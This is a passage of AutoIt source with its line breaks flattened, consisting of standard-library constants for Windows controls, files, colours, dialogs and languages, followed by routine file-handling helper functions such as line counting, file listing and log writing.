$cbn_selchange = 1 Global Const $cbn_selendcancel = 10 Global Const $cbn_selendok = 9 Global Const $cbn_setfocus = 3 Global Const $cbes_ex_casesensitive = 16 Global Const $cbes_ex_noeditimage = 1 Global Const $cbes_ex_noeditimageindent = 2 Global Const $cbes_ex_nosizelimit = 8 Global Const $__comboboxconstant_wm_user = 1024 Global Const $cbem_deleteitem = $cb_deletestring Global Const $cbem_getcombocontrol = ($__comboboxconstant_wm_user + 6) Global Const $cbem_geteditcontrol = ($__comboboxconstant_wm_user + 7) Global Const $cbem_getexstyle = ($__comboboxconstant_wm_user + 9) Global Const $cbem_getextendedstyle = ($__comboboxconstant_wm_user + 9) Global Const $cbem_getimagelist = ($__comboboxconstant_wm_user + 3) Global Const $cbem_getitema = ($__comboboxconstant_wm_user + 4) Global Const $cbem_getitemw = ($__comboboxconstant_wm_user + 13) Global Const $cbem_getunicodeformat = 8192 + 6 Global Const $cbem_haseditchanged = ($__comboboxconstant_wm_user + 10) Global Const $cbem_insertitema = ($__comboboxconstant_wm_user + 1) Global Const $cbem_insertitemw = ($__comboboxconstant_wm_user + 11) Global Const $cbem_setexstyle = ($__comboboxconstant_wm_user + 8) Global Const $cbem_setextendedstyle = ($__comboboxconstant_wm_user + 14) Global Const $cbem_setimagelist = ($__comboboxconstant_wm_user + 2) Global Const $cbem_setitema = ($__comboboxconstant_wm_user + 5) Global Const $cbem_setitemw = ($__comboboxconstant_wm_user + 12) Global Const $cbem_setunicodeformat = 8192 + 5 Global Const $cbem_setwindowtheme = 8192 + 11 Global Const $cben_first = (-800) Global Const $cben_last = (-830) Global Const $cben_beginedit = ($cben_first - 4) Global Const $cben_deleteitem = ($cben_first - 2) Global Const $cben_dragbegina = ($cben_first - 8) Global Const $cben_dragbeginw = ($cben_first - 9) Global Const $cben_endedita = ($cben_first - 5) Global Const $cben_endeditw = ($cben_first - 6) Global Const $cben_getdispinfo = ($cben_first - 0) Global Const $cben_getdispinfoa = ($cben_first - 0) Global Const $cben_getdispinfow = ($cben_first - 7) Global Const $cben_insertitem = ($cben_first - 1) Global Const $cbeif_di_setitem = 268435456 Global Const $cbeif_image = 2 Global Const $cbeif_indent = 16 Global Const $cbeif_lparam = 32 Global Const $cbeif_overlay = 8 Global Const $cbeif_selectedimage = 4 Global Const $cbeif_text = 1 Global Const $__comboboxconstant_ws_vscroll = 2097152 Global Const $gui_ss_default_combo = BitOR($cbs_dropdown, $cbs_autohscroll, $__comboboxconstant_ws_vscroll) Global Const $es_left = 0 Global Const $es_center = 1 Global Const $es_right = 2 Global Const $es_multiline = 4 Global Const $es_uppercase = 8 Global Const $es_lowercase = 16 Global Const $es_password = 32 Global Const $es_autovscroll = 64 Global Const $es_autohscroll = 128 Global Const $es_nohidesel = 256 Global Const $es_oemconvert = 1024 Global Const $es_readonly = 2048 Global Const $es_wantreturn = 4096 Global Const $es_number = 8192 Global Const $ec_err = -1 Global Const $ecm_first = 5376 Global Const $em_canundo = 198 Global Const $em_charfrompos = 215 Global Const $em_emptyundobuffer = 205 Global Const $em_fmtlines = 200 Global Const $em_getcuebanner = ($ecm_first + 2) Global Const $em_getfirstvisibleline = 206 Global Const $em_gethandle = 189 Global Const $em_getimestatus = 217 Global Const $em_getlimittext = 213 Global Const $em_getline = 196 Global Const $em_getlinecount = 186 Global Const $em_getmargins = 212 Global Const $em_getmodify = 184 Global Const $em_getpasswordchar = 210 Global Const $em_getrect = 178 Global Const $em_getsel = 176 Global Const $em_getthumb = 190 Global Const $em_getwordbreakproc = 209 Global Const $em_hideballoontip = ($ecm_first + 4) Global Const $em_limittext = 197 Global Const $em_linefromchar = 201 Global Const $em_lineindex = 187 Global Const $em_linelength = 193 Global Const $em_linescroll = 182 Global Const $em_posfromchar = 214 Global Const $em_replacesel = 194 Global Const $em_scroll = 181 Global Const $em_scrollcaret = 183 Global Const $em_setcuebanner = ($ecm_first + 1) Global Const $em_sethandle = 188 Global Const $em_setimestatus = 216 Global Const $em_setlimittext = $em_limittext Global Const $em_setmargins = 211 Global Const $em_setmodify = 185 Global Const $em_setpasswordchar = 204 Global Const $em_setreadonly = 207 Global Const $em_setrect = 179 Global Const $em_setrectnp = 180 Global Const $em_setsel = 177 Global Const $em_settabstops = 203 Global Const $em_setwordbreakproc = 208 Global Const $em_showballoontip = ($ecm_first + 3) Global Const $em_undo = 199 Global Const $ec_leftmargin = 1 Global Const $ec_rightmargin = 2 Global Const $ec_usefontinfo = 65535 Global Const $emsis_compositionstring = 1 Global Const $eimes_getcompstratonce = 1 Global Const $eimes_cancelcompstrinfocus = 2 Global Const $eimes_completecompstrkillfocus = 4 Global Const $en_align_ltr_ec = 1792 Global Const $en_align_rtl_ec = 1793 Global Const $en_change = 768 Global Const $en_errspace = 1280 Global Const $en_hscroll = 1537 Global Const $en_killfocus = 512 Global Const $en_maxtext = 1281 Global Const $en_setfocus = 256 Global Const $en_update = 1024 Global Const $en_vscroll = 1538 Global Const $tti_none = 0 Global Const $tti_info = 1 Global Const $tti_warning = 2 Global Const $tti_error = 3 Global Const $tti_info_large = 4 Global Const $tti_warning_large = 5 Global Const $tti_error_large = 6 Global Const $__editconstant_ws_vscroll = 2097152 Global Const $__editconstant_ws_hscroll = 1048576 Global Const $gui_ss_default_edit = BitOR($es_wantreturn, $__editconstant_ws_vscroll, $__editconstant_ws_hscroll, $es_autovscroll, $es_autohscroll) Global Const $gui_ss_default_input = BitOR($es_left, $es_autohscroll) Global Const $fc_nooverwrite = 0 Global Const $fc_overwrite = 1 Global Const $ft_modified = 0 Global Const $ft_created = 1 Global Const $ft_accessed = 2 Global Const $fo_read = 0 Global Const $fo_append = 1 Global Const $fo_overwrite = 2 Global Const $fo_binary = 16 Global Const $fo_unicode = 32 Global Const $fo_utf16_le = 32 Global Const $fo_utf16_be = 64 Global Const $fo_utf8 = 128 Global Const $fo_utf8_nobom = 256 Global Const $eof = -1 Global Const $fd_filemustexist = 1 Global Const $fd_pathmustexist = 2 Global Const $fd_multiselect = 4 Global Const $fd_promptcreatenew = 8 Global Const $fd_promptoverwrite = 16 Global Const $create_new = 1 Global Const $create_always = 2 Global Const $open_existing = 3 Global Const $open_always = 4 Global Const $truncate_existing = 5 Global Const $invalid_set_file_pointer = -1 Global Const $file_begin = 0 Global Const $file_current = 1 Global Const $file_end = 2 Global Const $file_attribute_readonly = 1 Global Const $file_attribute_hidden = 2 Global Const $file_attribute_system = 4 Global Const $file_attribute_directory = 16 Global Const $file_attribute_archive = 32 Global Const $file_attribute_device = 64 Global Const $file_attribute_normal = 128 Global Const $file_attribute_temporary = 256 Global Const $file_attribute_sparse_file = 512 Global Const $file_attribute_reparse_point = 1024 Global Const $file_attribute_compressed = 2048 Global Const $file_attribute_offline = 4096 Global Const $file_attribute_not_content_indexed = 8192 Global Const $file_attribute_encrypted = 16384 Global Const $file_share_read = 1 Global Const $file_share_write = 2 Global Const $file_share_delete = 4 Global Const $generic_all = 268435456 Global Const $generic_execute = 536870912 Global Const $generic_write = 1073741824 Global Const $generic_read = -2147483648 Global Const $ddl_archive = 32 Global Const $ddl_directory = 16 Global Const $ddl_drives = 16384 Global Const $ddl_exclusive = 32768 Global Const $ddl_hidden = 2 Global Const $ddl_readonly = 1 Global Const $ddl_readwrite = 0 Global Const $ddl_system = 4 Global Const $color_aqua = 65535 Global Const $color_black = 0 Global Const $color_blue = 255 Global Const $color_cream = 16776176 Global Const $color_fuchsia = 16711935 Global Const $color_gray = 8421504 Global Const $color_green = 32768 Global Const $color_lime = 65280 Global Const $color_maroon = 9116770 Global Const $color_medblue = 708 Global Const $color_medgray = 10526884 Global Const $color_moneygreen = 12639424 Global Const $color_navy = 128 Global Const $color_olive = 8421376 Global Const $color_purple = 8388736 Global Const $color_red = 16711680 Global Const $color_silver = 12632256 Global Const $color_skyblue = 10930928 Global Const $color_teal = 32896 Global Const $color_white = 16777215 Global Const $color_yellow = 16776960 Global Const $clr_none = -1 Global Const $clr_default = -16777216 Global Const $clr_aqua = 16776960 Global Const $clr_black = 0 Global Const $clr_blue = 16711680 Global Const $clr_cream = 15793151 Global Const $clr_fuchsia = 16711935 Global Const $clr_gray = 8421504 Global Const $clr_green = 32768 Global Const $clr_lime = 65280 Global Const $clr_maroon = 6429835 Global Const $clr_medblue = 12845568 Global Const $clr_medgray = 10789024 Global Const $clr_moneygreen = 12639424 Global Const $clr_navy = 8388608 Global Const $clr_olive = 32896 Global Const $clr_purple = 8388736 Global Const $clr_red = 255 Global Const $clr_silver = 12632256 Global Const $clr_skyblue = 15780518 Global Const $clr_teal = 8421376 Global Const $clr_white = 16777215 Global Const $clr_yellow = 65535 Global Const $cc_anycolor = 256 Global Const $cc_fullopen = 2 Global Const $cc_rgbinit = 1 Global Const $opt_coordsrelative = 0 Global Const $opt_coordsabsolute = 1 Global Const $opt_coordsclient = 2 Global Const $opt_errorsilent = 0 Global Const $opt_errorfatal = 1 Global Const $opt_capsnostore = 0 Global Const $opt_capsstore = 1 Global Const $opt_matchstart = 1 Global Const $opt_matchany = 2 Global Const $opt_matchexact = 3 Global Const $opt_matchadvanced = 4 Global Const $ccs_top = 1 Global Const $ccs_nomovey = 2 Global Const $ccs_bottom = 3 Global Const $ccs_noresize = 4 Global Const $ccs_noparentalign = 8 Global Const $ccs_nohilite = 16 Global Const $ccs_adjustable = 32 Global Const $ccs_nodivider = 64 Global Const $ccs_vert = 128 Global Const $ccs_left = 129 Global Const $ccs_nomovex = 130 Global Const $ccs_right = 131 Global Const $di_mask = 1 Global Const $di_image = 2 Global Const $di_normal = 3 Global Const $di_compat = 4 Global Const $di_defaultsize = 8 Global Const $di_nomirror = 16 Global Const $display_device_attached_to_desktop = 1 Global Const $display_device_multi_driver = 2 Global Const $display_device_primary_device = 4 Global Const $display_device_mirroring_driver = 8 Global Const $display_device_vga_compatible = 16 Global Const $display_device_removable = 32 Global Const $display_device_disconnect = 33554432 Global Const $display_device_remote = 67108864 Global Const $display_device_modespruned = 134217728 Global Const $flashw_caption = 1 Global Const $flashw_tray = 2 Global Const $flashw_timer = 4 Global Const $flashw_timernofg = 12 Global Const $format_message_allocate_buffer = 256 Global Const $format_message_ignore_inserts = 512 Global Const $format_message_from_string = 1024 Global Const $format_message_from_hmodule = 2048 Global Const $format_message_from_system = 4096 Global Const $format_message_argument_array = 8192 Global Const $gw_hwndfirst = 0 Global Const $gw_hwndlast = 1 Global Const $gw_hwndnext = 2 Global Const $gw_hwndprev = 3 Global Const $gw_owner = 4 Global Const $gw_child = 5 Global Const $gwl_wndproc = -4 Global Const $gwl_hinstance = -6 Global Const $gwl_hwndparent = -8 Global Const $gwl_id = -12 Global Const $gwl_style = -16 Global Const $gwl_exstyle = -20 Global Const $gwl_userdata = -21 Global Const $std_cut = 0 Global Const $std_copy = 1 Global Const $std_paste = 2 Global Const $std_undo = 3 Global Const $std_redow = 4 Global Const $std_delete = 5 Global Const $std_filenew = 6 Global Const $std_fileopen = 7 Global Const $std_filesave = 8 Global Const $std_printpre = 9 Global Const $std_properties = 10 Global Const $std_help = 11 Global Const $std_find = 12 Global Const $std_replace = 13 Global Const $std_print = 14 Global Const $lr_defaultcolor = 0 Global Const $lr_monochrome = 1 Global Const $lr_color = 2 Global Const $lr_copyreturnorg = 4 Global Const $lr_copydeleteorg = 8 Global Const $lr_loadfromfile = 16 Global Const $lr_loadtransparent = 32 Global Const $lr_defaultsize = 64 Global Const $lr_vgacolor = 128 Global Const $lr_loadmap3dcolors = 4096 Global Const $lr_createdibsection = 8192 Global Const $lr_copyfromresource = 16384 Global Const $lr_shared = 32768 Global Const $image_bitmap = 0 Global Const $image_icon = 1 Global Const $image_cursor = 2 Global Const $kb_sendspecial = 0 Global Const $kb_sendraw = 1 Global Const $kb_capsoff = 0 Global Const $kb_capson = 1 Global Const $dont_resolve_dll_references = 1 Global Const $load_library_as_datafile = 2 Global Const $load_with_altered_search_path = 8 Global Const $objid_window = 0 Global Const $objid_titlebar = -2 Global Const $objid_sizegrip = -7 Global Const $objid_caret = -8 Global Const $objid_cursor = -9 Global Const $objid_alert = -10 Global Const $objid_sound = -11 Global Const $vk_down = 40 Global Const $vk_end = 35 Global Const $vk_home = 36 Global Const $vk_left = 37 Global Const $vk_next = 34 Global Const $vk_prior = 33 Global Const $vk_right = 39 Global Const $vk_up = 38 Global Const $vk_lbutton = 1 Global Const $vk_rbutton = 2 Global Const $vk_mbutton = 4 Global Const $mb_ok = 0 Global Const $mb_okcancel = 1 Global Const $mb_abortretryignore = 2 Global Const $mb_yesnocancel = 3 Global Const $mb_yesno = 4 Global Const $mb_retrycancel = 5 Global Const $mb_iconhand = 16 Global Const $mb_iconquestion = 32 Global Const $mb_iconexclamation = 48 Global Const $mb_iconasterisk = 64 Global Const $mb_defbutton1 = 0 Global Const $mb_defbutton2 = 256 Global Const $mb_defbutton3 = 512 Global Const $mb_applmodal = 0 Global Const $mb_systemmodal = 4096 Global Const $mb_taskmodal = 8192 Global Const $mb_topmost = 262144 Global Const $mb_rightjustified = 524288 Global Const $idtimeout = -1 Global Const $idok = 1 Global Const $idcancel = 2 Global Const $idabort = 3 Global Const $idretry = 4 Global Const $idignore = 5 Global Const $idyes = 6 Global Const $idno = 7 Global Const $idtryagain = 10 Global Const $idcontinue = 11 Global Const $dlg_notitle = 1 Global Const $dlg_notontop = 2 Global Const $dlg_textleft = 4 Global Const $dlg_textright = 8 Global Const $dlg_moveable = 16 Global Const $dlg_textvcenter = 32 Global Const $tip_iconnone = 0 Global Const $tip_iconasterisk = 1 Global Const $tip_iconexclamation = 2 Global Const $tip_iconhand = 3 Global Const $tip_nosound = 16 Global Const $idc_unknown = 0 Global Const $idc_appstarting = 1 Global Const $idc_arrow = 2 Global Const $idc_cross = 3 Global Const $idc_hand = 32649 Global Const $idc_help = 4 Global Const $idc_ibeam = 5 Global Const $idc_icon = 6 Global Const $idc_no = 7 Global Const $idc_size = 8 Global Const $idc_sizeall = 9 Global Const $idc_sizenesw = 10 Global Const $idc_sizens = 11 Global Const $idc_sizenwse = 12 Global Const $idc_sizewe = 13 Global Const $idc_uparrow = 14 Global Const $idc_wait = 15 Global Const $idi_application = 32512 Global Const $idi_asterisk = 32516 Global Const $idi_exclamation = 32515 Global Const $idi_hand = 32513 Global Const $idi_question = 32514 Global Const $idi_winlogo = 32517 Global Const $sd_logoff = 0 Global Const $sd_shutdown = 1 Global Const $sd_reboot = 2 Global Const $sd_force = 4 Global Const $sd_powerdown = 8 Global Const $str_nocasesense = 0 Global Const $str_casesense = 1 Global Const $str_stripleading = 1 Global Const $str_striptrailing = 2 Global Const $str_stripspaces = 4 Global Const $str_stripall = 8 Global Const $tray_item_exit = 3 Global Const $tray_item_pause = 4 Global Const $tray_item_first = 7 Global Const $tray_checked = 1 Global Const $tray_unchecked = 4 Global Const $tray_enable = 64 Global Const $tray_disable = 128 Global Const $tray_focus = 256 Global Const $tray_default = 512 Global Const $tray_event_showicon = -3 Global Const $tray_event_hideicon = -4 Global Const $tray_event_flashicon = -5 Global Const $tray_event_noflashicon = -6 Global Const $tray_event_primarydown = -7 Global Const $tray_event_primaryup = -8 Global Const $tray_event_secondarydown = -9 Global Const $tray_event_secondaryup = -10 Global Const $tray_event_mouseover = -11 Global Const $tray_event_mouseout = -12 Global Const $tray_event_primarydouble = -13 Global Const $tray_event_secondarydouble = -14 Global Const $stdin_child = 1 Global Const $stdout_child = 2 Global Const $stderr_child = 4 Global Const $stderr_merged = 8 Global Const $stdio_inherit_parent = 16 Global Const $run_create_new_console = 65536 Global Const $mouseeventf_absolute = 32768 Global Const $mouseeventf_move = 1 Global Const $mouseeventf_leftdown = 2 Global Const $mouseeventf_leftup = 4 Global Const $mouseeventf_rightdown = 8 Global Const $mouseeventf_rightup = 16 Global Const $mouseeventf_middledown = 32 Global Const $mouseeventf_middleup = 64 Global Const $mouseeventf_wheel = 2048 Global Const $mouseeventf_xdown = 128 Global Const $mouseeventf_xup = 256 Global Const $reg_none = 0 Global Const $reg_sz = 1 Global Const $reg_expand_sz = 2 Global Const $reg_binary = 3 Global Const $reg_dword = 4 Global Const $reg_dword_big_endian = 5 Global Const $reg_link = 6 Global Const $reg_multi_sz = 7 Global Const $reg_resource_list = 8 Global Const $reg_full_resource_descriptor = 9 Global Const $reg_resource_requirements_list = 10 Global Const $hwnd_bottom = 1 Global Const $hwnd_notopmost = -2 Global Const $hwnd_top = 0 Global Const $hwnd_topmost = -1 Global Const $swp_nosize = 1 Global Const $swp_nomove = 2 Global Const $swp_nozorder = 4 Global Const $swp_noredraw = 8 Global Const $swp_noactivate = 16 Global Const $swp_framechanged = 32 Global Const $swp_drawframe = 32 Global Const $swp_showwindow = 64 Global Const $swp_hidewindow = 128 Global Const $swp_nocopybits = 256 Global Const $swp_noownerzorder = 512 Global Const $swp_noreposition = 512 Global Const $swp_nosendchanging = 1024 Global Const $swp_defererase = 8192 Global Const $swp_asyncwindowpos = 16384 Global Const $lang_afrikaans = 54 Global Const $lang_albanian = 28 Global Const $lang_arabic = 1 Global Const $lang_armenian = 43 Global Const $lang_assamese = 77 Global Const $lang_azeri = 44 Global Const $lang_basque = 45 Global Const $lang_belarusian = 35 Global Const $lang_bengali = 69 Global Const $lang_bulgarian = 2 Global Const $lang_catalan = 3 Global Const $lang_chinese = 4 Global Const $lang_croatian = 26 Global Const $lang_czech = 5 Global Const $lang_danish = 6 Global Const $lang_dutch = 19 Global Const $lang_english = 9 Global Const $lang_estonian = 37 Global Const $lang_faeroese = 56 Global Const $lang_farsi = 41 Global Const $lang_finnish = 11 Global Const $lang_french = 156 Global Const $lang_georgian = 55 Global Const $lang_german = 7 Global Const $lang_greek = 8 Global Const $lang_gujarati = 71 Global Const $lang_hebrew = 13 Global Const $lang_hindi = 57 Global Const $lang_hungarian = 14 Global Const $lang_icelandic = 15 Global Const $lang_indonesian = 33 Global Const $lang_italian = 16 Global Const $lang_japanese = 17 Global Const $lang_kannada = 75 Global Const $lang_kashmiri = 96 Global Const $lang_kazak = 63 Global Const $lang_konkani = 87 Global Const $lang_korean = 18 Global Const $lang_latvian = 38 Global Const $lang_lithuanian = 39 Global Const $lang_macedonian = 47 Global Const $lang_malay = 62 Global Const $lang_malayalam = 76 Global Const $lang_manipuri = 88 Global Const $lang_marathi = 78 Global Const $lang_nepali = 97 Global Const $lang_neutral = 0 Global Const $lang_norwegian = 20 Global Const $lang_oriya = 72 Global Const $lang_polish = 21 Global Const $lang_portuguese = 22 Global Const $lang_punjabi = 70 Global Const $lang_romanian = 24 Global Const $lang_russian = 25 Global Const $lang_sanskrit = 79 Global Const $lang_serbian = 26 Global Const $lang_sindhi = 89 Global Const $lang_slovak = 27 Global Const $lang_slovenian = 36 Global Const $lang_spanish = 10 Global Const $lang_swahili = 65 Global Const $lang_swedish = 29 Global Const $lang_tamil = 73 Global Const $lang_tatar = 68 Global Const $lang_telugu = 74 Global Const $lang_thai = 30 Global Const $lang_turkish = 31 Global Const $lang_ukrainian = 34 Global Const $lang_urdu = 32 Global Const $lang_uzbek = 67 Global Const $lang_vietnamese = 42 Global Const $sublang_arabic_algeria = 5 Global Const $sublang_arabic_bahrain = 15 Global Const $sublang_arabic_egypt = 3 Global Const $sublang_arabic_iraq = 2 Global Const $sublang_arabic_jordan = 11 Global Const $sublang_arabic_kuwait = 13 Global Const $sublang_arabic_lebanon = 12 Global Const $sublang_arabic_libya = 4 Global Const $sublang_arabic_morocco = 6 Global Const $sublang_arabic_oman = 8 Global Const $sublang_arabic_qatar = 16 Global Const $sublang_arabic_saudi_arabia = 1 Global Const $sublang_arabic_syria = 10 Global Const $sublang_arabic_tunisia = 7 Global Const $sublang_arabic_uae = 14 Global Const $sublang_arabic_yemen = 9 Global Const $sublang_azeri_cyrillic = 2 Global Const $sublang_azeri_latin = 1 Global Const $sublang_chinese_hongkong = 3 Global Const $sublang_chinese_macau = 5 Global Const $sublang_chinese_simplified = 2 Global Const $sublang_chinese_singapore = 4 Global Const $sublang_chinese_traditional = 1 Global Const $sublang_default = 1 Global Const $sublang_dutch = 1 Global Const $sublang_dutch_belgian = 2 Global Const $sublang_english_aus = 3 Global Const $sublang_english_belize = 10 Global Const $sublang_english_can = 4 Global Const $sublang_english_caribbean = 9 Global Const $sublang_english_eire = 6 Global Const $sublang_english_jamaica = 8 Global Const $sublang_english_nz = 5 Global Const $sublang_english_philippines = 13 Global Const $sublang_english_south_africa = 7 Global Const $sublang_english_trinidad = 11 Global Const $sublang_english_uk = 2 Global Const $sublang_english_us = 1 Global Const $sublang_english_zimbabwe = 12 Global Const $sublang_french = 1 Global Const $sublang_french_belgian = 2 Global Const $sublang_french_canadian = 3 Global Const $sublang_french_luxembourg = 5 Global Const $sublang_french_monaco = 6 Global Const $sublang_french_swiss = 4 Global Const $sublang_german = 1 Global Const $sublang_german_austrian = 3 Global Const $sublang_german_liechtenstein = 5 Global Const $sublang_german_luxembourg = 4 Global Const $sublang_german_swiss = 2 Global Const $sublang_italian = 1 Global Const $sublang_italian_swiss = 2 Global Const $sublang_kashmiri_india = 2 Global Const $sublang_korean = 1 Global Const $sublang_lithuanian = 1 Global Const $sublang_malay_brunei_darussalam = 2 Global Const $sublang_malay_malaysia = 1 Global Const $sublang_nepali_india = 2 Global Const $sublang_neutral = 0 Global Const $sublang_norwegian_bokmal = 1 Global Const $sublang_norwegian_nynorsk = 2 Global Const $sublang_portuguese = 2 Global Const $sublang_portuguese_brazilian = 1 Global Const $sublang_serbian_cyrillic = 3 Global Const $sublang_serbian_latin = 2 Global Const $sublang_spanish = 1 Global Const $sublang_spanish_argentina = 11 Global Const $sublang_spanish_bolivia = 16 Global Const $sublang_spanish_chile = 13 Global Const $sublang_spanish_colombia = 9 Global Const $sublang_spanish_costa_rica = 5 Global Const $sublang_spanish_dominican_republic = 7 Global Const $sublang_spanish_ecuador = 12 Global Const $sublang_spanish_el_salvador = 17 Global Const $sublang_spanish_guatemala = 4 Global Const $sublang_spanish_honduras = 18 Global Const $sublang_spanish_mexican = 2 Global Const $sublang_spanish_modern = 3 Global Const $sublang_spanish_nicaragua = 19 Global Const $sublang_spanish_panama = 6 Global Const $sublang_spanish_paraguay = 15 Global Const $sublang_spanish_peru = 10 Global Const $sublang_spanish_puerto_rico = 20 Global Const $sublang_spanish_uruguay = 14 Global Const $sublang_spanish_venezuela = 8 Global Const $sublang_swedish = 1 Global Const $sublang_swedish_finland = 2 Global Const $sublang_sys_default = 2 Global Const $sublang_urdu_india = 2 Global Const $sublang_urdu_pakistan = 1 Global Const $sublang_uzbek_cyrillic = 2 Global Const $sort_default = 0 Global Const $sort_japanese_xjis = 0 Global Const $sort_japanese_unicode = 1 Global Const $sort_chinese_big5 = 0 Global Const $sort_chinese_prcp = 0 Global Const $sort_chinese_unicode = 1 Global Const $sort_chinese_prc = 2 Global Const $sort_korean_ksc = 0 Global Const $sort_korean_unicode = 1 Global Const $sort_german_phone_book = 1 Global Const $sort_hungarian_default = 0 Global Const $sort_hungarian_technical = 1 Global Const $sort_georgian_traditional = 0 Global Const $sort_georgian_modern = 1 Global Const $ss_left = 0 Global Const $ss_center = 1 Global Const $ss_right = 2 Global Const $ss_icon = 3 Global Const $ss_blackrect = 4 Global Const $ss_grayrect = 5 Global Const $ss_whiterect = 6 Global Const $ss_blackframe = 7 Global Const $ss_grayframe = 8 Global Const $ss_whiteframe = 9 Global Const $ss_simple = 11 Global Const $ss_leftnowordwrap = 12 Global Const $ss_bitmap = 14 Global Const $ss_etchedhorz = 16 Global Const $ss_etchedvert = 17 Global Const $ss_etchedframe = 18 Global Const $ss_noprefix = 128 Global Const $ss_notify = 256 Global Const $ss_centerimage = 512 Global Const $ss_rightjust = 1024 Global Const $ss_sunken = 4096 Global Const $gui_ss_default_label = 0 Global Const $gui_ss_default_graphic = 0 Global Const $gui_ss_default_icon = $ss_notify Global Const $gui_ss_default_pic = $ss_notify Func _filecountlines($sfilepath) Local $hfile = FileOpen($sfilepath, $fo_read) If $hfile = -1 Then Return SetError(1, 0, 0) Local $sfilecontent = StringStripWS(FileRead($hfile), 2) FileClose($hfile) Local $atmp If StringInStr($sfilecontent, @LF) Then $atmp = StringSplit(StringStripCR($sfilecontent), @LF) ElseIf StringInStr($sfilecontent, @CR) Then $atmp = StringSplit($sfilecontent, @CR) Else If StringLen($sfilecontent) Then Return 1 Else Return SetError(2, 0, 0) EndIf EndIf Return $atmp[0] EndFunc Func _filecreate($sfilepath) Local $hopenfile = FileOpen($sfilepath, $fo_overwrite) If $hopenfile = -1 Then Return SetError(1, 0, 0) Local $hwritefile = FileWrite($hopenfile, "") FileClose($hopenfile) If $hwritefile = -1 Then Return SetError(2, 0, 0) Return 1 EndFunc Func _filelisttoarray($spath, $sfilter = "*", $iflag = 0) Local $hsearch, $sfile, $sfilelist, $sdelim = "|" $spath = StringRegExpReplace($spath, "[\\/]+\z", "") & "\" If NOT FileExists($spath) Then Return SetError(1, 1, "") If StringRegExp($sfilter, "[\\/:><\|]|(?s)\A\s*\z") Then Return SetError(2, 2, "") If NOT ($iflag = 0 OR $iflag = 1 OR $iflag = 2) Then Return SetError(3, 3, "") $hsearch = FileFindFirstFile($spath & $sfilter) If @error Then Return SetError(4, 4, "") While 1 $sfile = FileFindNextFile($hsearch) If @error Then ExitLoop If ($iflag + @extended = 2) Then ContinueLoop $sfilelist &= $sdelim & $sfile WEnd FileClose($hsearch) If NOT $sfilelist Then Return SetError(4, 4, "") Return StringSplit(StringTrimLeft($sfilelist, 1), "|") EndFunc Func _fileprint($s_file, $i_show = @SW_HIDE) Local $a_ret = DllCall("shell32.dll", "int", "ShellExecuteW", "hwnd", 0, "wstr", "print", "wstr", $s_file, "wstr", "", "wstr", "", "int", $i_show) If @error Then Return SetError(@error, @extended, 0) If $a_ret[0] <= 32 Then Return SetError(10, $a_ret[0], 0) Return 1 EndFunc Func _filereadtoarray($sfilepath, ByRef $aarray) Local $hfile = FileOpen($sfilepath, $fo_read) If $hfile = -1 Then Return SetError(1, 0, 0) Local $afile = FileRead($hfile, FileGetSize($sfilepath)) If StringRight($afile, 1) = @LF Then $afile = StringTrimRight($afile, 1) If StringRight($afile, 1) = @CR Then $afile = StringTrimRight($afile, 1) FileClose($hfile) If StringInStr($afile, @LF) Then $aarray = StringSplit(StringStripCR($afile), @LF) ElseIf StringInStr($afile, @CR) Then $aarray = StringSplit($afile, @CR) Else If StringLen($afile) Then Dim $aarray[2] = [1, $afile] Else Return SetError(2, 0, 0) EndIf EndIf Return 1 EndFunc Func _filewritefromarray($file, $a_array, $i_base = 0, $i_ubound = 0, $s_delim = "|") If NOT IsArray($a_array) Then Return SetError(2, 0, 0) Local $idims = UBound($a_array, 0) If $idims > 2 Then Return SetError(4, 0, 0) Local $last = UBound($a_array) - 1 If $i_ubound < 1 OR $i_ubound > $last Then $i_ubound = $last If $i_base < 0 OR $i_base > $last Then $i_base = 0 Local $hfile If IsString($file) Then $hfile = FileOpen($file, $fo_overwrite) Else $hfile = $file EndIf If $hfile = -1 Then Return SetError(1, 0, 0) Local $errorsav = 0 Switch $idims Case 1 For $x = $i_base To $i_ubound If FileWrite($hfile, $a_array[$x] & @CRLF) = 0 Then $errorsav = 3 ExitLoop EndIf Next Case 2 Local $s_temp For $x = $i_base To $i_ubound $s_temp = $a_array[$x][0] For $y = 1 To $idims $s_temp &= $s_delim & $a_array[$x][$y] Next If FileWrite($hfile, $s_temp & @CRLF) = 0 Then $errorsav = 3 ExitLoop EndIf Next EndSwitch If IsString($file) Then FileClose($hfile) If $errorsav Then Return SetError($errorsav, 0, 0) Return 1 EndFunc Func _filewritelog($slogpath, $slogmsg, $iflag = -1) Local $hopenfile = $slogpath, $iopenmode = $fo_append Local $sdatenow = @YEAR & "-" & @MON & "-" & @MDAY Local $stimenow = @HOUR & ":" & @MIN & ":" & @SEC Local $smsg = $sdatenow & " " & $stimenow & " : " & $slogmsg If $iflag <> -1 Then $smsg &= @CRLF & FileRead($slogpath) $iopenmode = $fo_overwrite EndIf If IsString($slogpath) Then $hopenfile = FileOpen($slogpath, $iopenmode) If $hopenfile = -1 Then Return SetError(1, 0, 0) EndIf EndIf Local $ireturn = FileWriteLine($hopenfile, $smsg) If IsString($slogpath) Then $ireturn = FileClose($hopenfile) EndIf If $ireturn <= 0 Then Return SetError(2, $ireturn, 0) EndIf Return $ireturn EndFunc Func _filewritetoline($sfile, $iline, $stext, $foverwrite = 0) If $iline <= 0 Then Return SetError(4, 0, 0) If NOT IsString($stext) Then $stext = String($stext) If $stext = "" Then Return SetError(6, 0, 0) EndIf If $foverwrite <> 0 AND $foverwrite <> 1 Then Return SetError(5, 0, 0) If NOT FileExists($sfile) Then Return SetError(2, 0, 0) Local $sread_file = FileRead($sfile) Local $asplit_file = StringSplit(StringStripCR($sread_file), @LF) If UBound($asplit_file) < $iline Then Return SetError(1, 0, 0) Local $iencoding = FileGetEncoding($sfile) Local $hfile = FileOpen($sfile, $iencoding + $fo_overwrite) If $hfile = -1 Then Return SetError(3, 0, 0) $sread_file = "" For $i = 1 To $asplit_file[0] If $i = $iline Then If $foverwrite = 1 Then If $stext <> "" Then $sread_file &= $stext & @CRLF Else $sread_file &= $stext & @CRLF & $asplit_file[$i] & @CRLF EndIf ElseIf $i < $asplit_file[0] Then $sread_file &= $asplit_file[$i] & @CRLF ElseIf $i = $asplit_file[0] Then $sread_file &= $asplit_file[$i] EndIf Next FileWrite($hfile, $sread_file) FileClose($hfile) Return 1 EndFunc Func _pathfull($srelativepath, $sbasepath = @WorkingDir) If NOT $srelativepath OR $srelativepath = "." Then Return $sbasepath Local $sfullpath = StringReplace($srelativepath, "/", "\") Local Const $sfullpathconst = $sfullpath Local $spath Local $brootonly = StringLeft($sfullpath, 1) = "\" AND 